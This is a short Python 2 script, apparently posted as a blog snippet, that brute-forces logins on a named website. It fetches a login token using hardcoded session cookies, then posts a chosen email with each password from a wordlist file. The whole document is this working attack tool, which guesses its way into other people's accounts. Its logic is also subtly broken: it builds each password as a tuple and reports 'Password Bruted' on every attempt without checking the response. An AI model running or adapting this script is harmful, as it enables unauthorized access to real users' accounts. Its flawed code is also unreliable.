撞-酷--python
#-*- coding:utf-8 -*- import urllib2,urllib,re def getToken(): res = urllib2.Request('http://www.wbug.org/member/gettoken',headers={ "X-Requested-With": "XMLHttpRequest", "Cookie": "PHPSESSID=ksedibks3amp0obfhi83bnfu37;yunsuo_session_verify=24eae91f32c036441a86757a8a84fac7"}) html = urllib2.urlopen(url=res).read() reg = r'data":"(.*?)"}' token = re.compile(reg) tokenres = token.findall(html) return ''.join(tokenres) res1 = urllib2.Request('http://www.wbug.org/member/login', headers={ "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie": "PHPSESSID=ksedibks3amp0obfhi83bnfu37;yunsuo_session_verify=24eae91f32c036441a86757a8a84fac7"}) def boom(filename,email): for line in open(filename): password = line, boom = urllib2.urlopen(url = res1,data = urllib.urlencode({ "email":email, "password":password, "login_token":getToken()})) code = r'%s' % boom.read() print "Password Bruted : %s" % password email = raw_input("Please Input Your Want To 爆破的 Email:") filename = raw_input("Please Input Password's Filename:") boom(filename,email)
繁华都市中的隐者